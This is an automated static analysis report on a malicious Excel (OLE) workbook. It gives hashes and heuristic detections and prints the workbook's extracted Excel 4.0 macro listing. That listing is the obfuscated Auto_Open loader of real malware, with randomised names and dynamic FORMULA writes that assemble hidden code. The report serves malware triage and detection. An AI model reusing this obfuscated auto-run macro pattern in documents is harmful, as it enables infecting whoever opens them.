Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81bdf661a0944d6a…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:01 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: d0e71e2fb4d7fffff7e5208e94fdf1e9 SHA-1: a05f38a866d1ab7d083963fff1f7920502949f25 SHA-256: 81bdf661a0944d6aec997b891b8336d099e729967a3281ad8dcd6960a90db987
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6416 bytes
SHA-256: 67ead6f1db6183a2b98e0bbd0b73a46b8f86f7ef29b36533616a12d2ca5eeaa2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'xaxQTRHzanUB') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GTLVr
' 0018     22 LABEL : Cell Value, String Constant - aajTcVO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I142 
' 0018     22 LABEL : Cell Value, String Constant - BprytNl len=0 
' 0018     21 LABEL : Cell Value, String Constant - CFHipu len=0 
' 0018     24 LABEL : Cell Value, String Constant - CXCHCOUGg len=0 
' 0018     23 LABEL : Cell Value, String Constant - dhNEFHmH len=0 
' 0018     24 LABEL : Cell Value, String Constant - eKYmTvmLW len=0 
' 0018     21 LABEL : Cell Value, String Constant - FHdxYq len=0 
' 0018     24 LABEL : Cell Value, String Constant - fpgtxVbLY len=0 
' 0018     25 LABEL : Cell Value, String Constant - hQCRDWhMMw len=0 
' 0018     22 LABEL : Cell Value, String Constant - HVSCtLE len=0 
' 0018     24 LABEL : Cell Value, String Constant - jWLrFvhvm len=0 
' 0018     25 LABEL : Cell Value, String Constant - KfJACjQAkt len=0 
' 0018     24 LABEL : Cell Value, String Constant - KQClNcHex len=0 
' 0018     22 LABEL : Cell Value, String Constant - lOTyMpj len=0 
' 0018     21 LABEL : Cell Value, String Constant - NuRoXR len=0 
' 0018     21 LABEL : Cell Value, String Constant - rpbqZZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - rvuSAsxmLv len=0 
' 0018     24 LABEL : Cell Value, String Constant - TnCNDdebN len=0 
' 0018     22 LABEL : Cell Value, String Constant - tSMZnIN len=0 
' 0018     27 LABEL : Cell Value, String Constant - xaxQTRHzanUB len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GTLVr,I45,"SET.NAME("fpgtxVbLY",VALUE("0"))",""
'  GTLVr,I49,"SET.NAME("dhNEFHmH",fpgtxVbLY)",""
'  GTLVr,I54,"SET.NAME("jWLrFvhvm",fpgtxVbLY)",""
'  GTLVr,I58,"SET.NAME("HVSCtLE",COUNTA(aajTcVO))",""
'  GTLVr,I61,"SET.NAME("CXCHCOUGg",COUNTA(rvuSAsxmLv))",""
'  GTLVr,I64,[],""
'  GTLVr,I69,"SET.NAME("rpbqZZ","")",""
'  GTLVr,I73,"dhNEFHmH",""
'  GTLVr,I78,"SET.NAME("FHdxYq",HLOOKUP("*",aajTcVO,dhNEFHmH,FALSE))",""
'  GTLVr,I81,"KQClNcHex",""
'  GTLVr,I86,"SET.NAME("BprytNl",fpgtxVbLY)",""
'  GTLVr,I89,[],""
'  GTLVr,I93,"BprytNl",""
'  GTLVr,I95,"TnCNDdebN",""
'  GTLVr,I98,"CFHipu",""
'  GTLVr,I103,"tSMZnIN",""
'  GTLVr,I108,"SET.NAME("KfJACjQAkt",VALUE(HLOOKUP("*",rvuSAsxmLv,tSMZnIN,FALSE)))",""
'  GTLVr,I112,"NuRoXR",""
'  GTLVr,I114,"rpbqZZ",""
'  GTLVr,I117,"jWLrFvhvm",""
'  GTLVr,I121,NEXT(),""
'  GTLVr,I125,"xaxQTRHzanUB",""
'  GTLVr,I129,"SET.NAME("f",INT(T(FORMULA(T(rpbqZZ)&"",""&T(xaxQTRHzanUB)))))",""
'  GTLVr,I133,"lOTyMpj",""
'  GTLVr,I138,NEXT(),""
'  GTLVr,I140,RETURN(),""
'  GTLVr,I168,"SET.NAME("eKYmTvmLW",I45)",""
'  GTLVr,I170,"aajTcVO",""
'  GTLVr,I174,"SET.NAME("rvuSAsxmLv",R87C11)",""
'  GTLVr,I176,"SET.NAME("lOTyMpj",184)",""
'  GTLVr,I178,"SET.NAME("hQCRDWhMMw",9)",""
'  GTLVr,I183,eKYmTvmLW(),""
'  GTLVr,I184,HALT(),""

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